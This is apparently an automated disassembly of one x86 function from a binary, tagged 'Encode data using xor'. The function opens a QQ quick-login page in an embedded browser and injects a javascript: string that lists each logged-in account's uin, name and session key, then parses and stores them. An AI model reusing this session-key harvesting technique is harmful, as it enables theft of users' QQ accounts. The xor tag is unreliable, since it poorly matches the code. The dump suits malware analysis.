Function at 0x402544
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 4], 0
push 8
call fcn.0040aa6c
add esp, 4
mov dword [ebp - 8], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebp - 0xc], 0
push 8
call fcn.0040aa6c
add esp, 4
mov dword [ebp - 0x10], eax
mov edi, eax
mov esi, 0x4fa894
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0x14], 0
push 8
call fcn.0040aa6c
add esp, 4
mov dword [ebp - 0x18], eax
mov edi, eax
mov esi, 0x4fa894
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
push 8
call fcn.0040aa6c
add esp, 4
mov dword [ebp - 0x1c], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov ebx, dword [ebp + 8]
mov ebx, dword [ebx]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x4025f6
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x4025f2
imul eax, dword [ebx]
jmp 0x4025e7
mov ecx, eax
test ecx, ecx
je 0x402636
push ecx
push ebx
mov ebx, dword [ebx]
push ebx
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x402611
push ebx
call fcn.0040aa66
add esp, 4
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x402625
push ebx
call fcn.0040aa66
add esp, 4
pop ebx
call fcn.0040aa66
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x4025fc
call fcn.0040aa66
add esp, 4
mov eax, 0x4fa894
mov ebx, dword [ebp + 8]
mov dword [ebx], eax
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push 0
push 0
push 0
push 0x10001
push 0x60131a8
push 0x52010cdf
push 3
mov ebx, 0x40ade0
call fcn.0040aa78
add esp, 0x28
push 0
push str.http:__xui.ptlogin2.qq.com_cgi_bin_qlogin_domainqq.comlang2052qtarget0jumpnameptcssparamu1_253Dhttp_25253A_25252F_25252Fwww.qq.com_25252Fqq2012_25252FloginSuccess.htmcssmibao_csslow_login0
push 0xffffffffffffffff
push 0xb
push 0x160131a9
push 0x52010cdf
call fcn.0040aa8a
add esp, 0x18
push 0
mov ebx, 0x40e080
call fcn.0040aa78
add esp, 4
push 0
mov ebx, 0x40e080
call fcn.0040aa78
add esp, 4
push 0x80001
push 0x160131a9
push 0x52010cdf
push 1
mov eax, 7
mov ebx, 0x46c910
call fcn.0040aa84
add esp, 0x10
and eax, 1
xor eax, 1
test eax, eax
jne 0x4026aa
push 0
push str.javascript:for_var_C0_C_q_aUinList.length_C_var_Dq_aUinList_C__document.write_D.uin___D.name___D.key__r___
push 0xffffffffffffffff
push 0xb
push 0x160131a9
push 0x52010cdf
call fcn.0040aa8a
add esp, 0x18
push 0
mov ebx, 0x40e080
call fcn.0040aa78
add esp, 4
push 0x80001
push 0x160131a9
push 0x52010cdf
push 1
mov ebx, 0x40adb0
call fcn.0040aa78
add esp, 0x10
push eax
call fcn.00402d07
mov dword [ebp - 4], eax
push dword [ebp - 4]
call fcn.00402e0d
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
push eax
mov ebx, dword [ebp - 8]
push ebx
push 0x10030
push 0
push ebx
push 1
mov ebx, 0x40e660
call fcn.0040aa78
add esp, 0x10
call fcn.0040aa66
add esp, 4
pop eax
mov dword [ebp - 8], eax
push 0
push 0
push 0
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.documentElement
push 0x10030
push 0
push dword [ebp - 8]
push 3
mov ebx, 0x40e4c0
call fcn.0040aa78
add esp, 0x28
mov dword [ebp - 0x20], eax
push 0
push 0
push 0
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.innerText
push 0x10030
push 0
push dword [ebp - 0x20]
push 3
mov ebx, 0x40e490
call fcn.0040aa78
add esp, 0x28
mov dword [ebp - 0x24], eax
mov ebx, dword [ebp - 0x20]
push ebx
push 0x10030
push 0
push ebx
push 1
mov ebx, 0x40e660
call fcn.0040aa78
add esp, 0x10
call fcn.0040aa66
add esp, 4
mov eax, dword [ebp - 0x24]
push eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x402814
push ebx
call fcn.0040aa66
add esp, 4
pop eax
mov dword [ebp - 0xc], eax
push 0
push 0
push 0
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x5c1e76
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x40283d
mov eax, 0x4fa867
push eax
push 3
mov ebx, 0x40bbe0
call fcn.0040aa78
add esp, 0x28
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
push eax
mov ebx, dword [ebp - 0x10]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x402875
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x402871
imul eax, dword [ebx]
jmp 0x402866
mov ecx, eax
test ecx, ecx
je 0x402894
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x40288d
push ebx
push eax
call fcn.0040aa66
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x40287b
call fcn.0040aa66
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 0x10]
call fcn.00401ecd
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x4028e6
push 0
push 0
push 0
push 0x10001
push 0x60131a8
push 0x52010cdf
push 2
mov ebx, 0x40e090
call fcn.0040aa78
add esp, 0x1c
mov eax, 0
jmp 0x402c11
mov ebx, dword [ebp - 0x10]
call fcn.00401ecd
xor ecx, ecx
push eax
lea eax, [ebp - 0x14]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x402b71
mov ebx, dword [ebp - 0x10]
call fcn.00401ee6
push ebx
push ecx
mov eax, dword [ebp - 0x14]
dec eax
jns 0x402922
push 4
call fcn.0040aa7e
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x402935
push 1
call fcn.0040aa7e
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x20], ebx
push 0
push 0
push 0
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x5c1e78
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov ebx, dword [ebp - 0x20]
mov eax, dword [ebx]
test eax, eax
jne 0x402964
mov eax, 0x4fa867
push eax
push 3
mov ebx, 0x40bbe0
call fcn.0040aa78
add esp, 0x28
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
push eax
mov ebx, dword [ebp - 0x18]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x40299c
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x402998
imul eax, dword [ebx]
jmp 0x40298d
mov ecx, eax
test ecx, ecx
je 0x4029bb
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x4029b4
push ebx
push eax
call fcn.0040aa66
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x4029a2
call fcn.0040aa66
add esp, 4
pop eax
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp - 0x18]
call fcn.00401ecd
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jne 0x402b69
mov ebx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], ebx
mov ebx, dword [ebp - 0x18]
call fcn.00401ee6
mov eax, 0
cmp eax, ecx
jl 0x402a00
push 1
call fcn.0040aa7e
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
mov ebx, dword [ebp - 0x24]
mov eax, dword [ebx]
test eax, eax
je 0x402a26
push eax
mov ebx, eax
call fcn.00401021
inc eax
push eax
call fcn.0040aa6c
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 0x20]
mov ebx, dword [ebx]
test ebx, ebx
je 0x402a39
push ebx
call fcn.0040aa66
add esp, 4
pop eax
mov ebx, dword [ebp - 0x20]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x1c]
add ebx, 4
mov dword [ebp - 0x20], ebx
mov ebx, dword [ebp - 0x18]
call fcn.00401ee6
mov eax, 2
cmp eax, ecx
jl 0x402a66
push 1
call fcn.0040aa7e
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
mov ebx, dword [ebp - 0x24]
mov eax, dword [ebx]
test eax, eax
je 0x402a8c
push eax
mov ebx, eax
call fcn.00401021
inc eax
push eax
call fcn.0040aa6c
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 0x20]
mov ebx, dword [ebx]
test ebx, ebx
je 0x402a9f
push ebx
call fcn.0040aa66
add esp, 4
pop eax
mov ebx, dword [ebp - 0x20]
mov dword [ebx], eax
push dword [ebp + 8]
push 4
mov eax, 2
call fcn.0040aa60
add esp, 8
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
mov ebx, dword [ebp + 8]
mov ebx, dword [ebx]
mov dword [ebp - 0x24], ebx
call fcn.00401ee6
mov dword [ebp - 0x28], ecx
mov edi, dword [ebp - 0x24]
mov dword [edi], 1
add edi, 4
mov eax, ecx
inc eax
mov dword [edi], eax
add edi, 4
cmp edi, ebx
je 0x402ae9
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x28]
inc eax
shl eax, 2
add eax, 8
push eax
push dword [ebp - 0x24]
call fcn.0040aa90
add esp, 8
mov ebx, dword [ebp + 8]
mov dword [ebx], eax
mov edi, eax
add edi, 8
mov eax, dword [ebp - 0x28]
shl eax, 2
add edi, eax
mov eax, dword [ebp - 0x20]
push edi
push eax
push 8
call fcn.0040aa6c
add esp, 4
pop esi
mov edi, eax
push eax
lodsd eax, dword [esi]
push esi
push edi
test eax, eax
je 0x402b43
push eax
mov ebx, eax
call fcn.00401021
inc eax
push eax
call fcn.0040aa6c
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
stosd dword es:[edi], eax
lodsd eax, dword [esi]
push esi
push edi
test eax, eax
je 0x402b62
push eax
mov ebx, eax
call fcn.00401021
inc eax
push eax
call fcn.0040aa6c
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
stosd dword es:[edi], eax
pop eax
pop edi
mov dword [edi], eax
pop eax
pop ebx
pop ecx
jmp 0x4028f7
add esp, 0xc
mov eax, 0x4fa867
push eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x402b8a
push ebx
call fcn.0040aa66
add esp, 4
pop eax
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 0x10]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x402bac
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x402ba8
imul eax, dword [ebx]
jmp 0x402b9d
mov ecx, eax
test ecx, ecx
je 0x402bcb
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x402bc4
push ebx
push eax
call fcn.0040aa66
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x402bb2
call fcn.0040aa66
add esp, 4
mov eax, 0x4fa894
mov dword [ebp - 0x10], eax
push 0
push 0
push 0
push 0x10001
push 0x60131a8
push 0x52010cdf
push 2
mov ebx, 0x40e090
call fcn.0040aa78
add esp, 0x1c
mov ebx, dword [ebp + 8]
mov ebx, dword [ebx]
call fcn.00401ecd
jmp 0x402c11
push eax
mov ebx, dword [ebp - 8]
push ebx
push 0x10030
push 0
push ebx
push 1
mov ebx, 0x40e660
call fcn.0040aa78
add esp, 0x10
call fcn.0040aa66
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x402c45
push ebx
call fcn.0040aa66
add esp, 4
mov ebx, dword [ebp - 0x10]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x402c63
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x402c5f
imul eax, dword [ebx]
jmp 0x402c54
mov ecx, eax
test ecx, ecx
je 0x402c82
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x402c7b
push ebx
push eax
call fcn.0040aa66
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x402c69
call fcn.0040aa66
add esp, 4
mov ebx, dword [ebp - 0x18]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x402ca8
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x402ca4
imul eax, dword [ebx]
jmp 0x402c99
mov ecx, eax
test ecx, ecx
je 0x402cc7
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x402cc0
push ebx
push eax
call fcn.0040aa66
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x402cae
call fcn.0040aa66
add esp, 4
mov ebx, dword [ebp - 0x1c]
push ebx
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x402ce3
push ebx
call fcn.0040aa66
add esp, 4
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x402cf7
push ebx
call fcn.0040aa66
add esp, 4
pop ebx
call fcn.0040aa66
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 4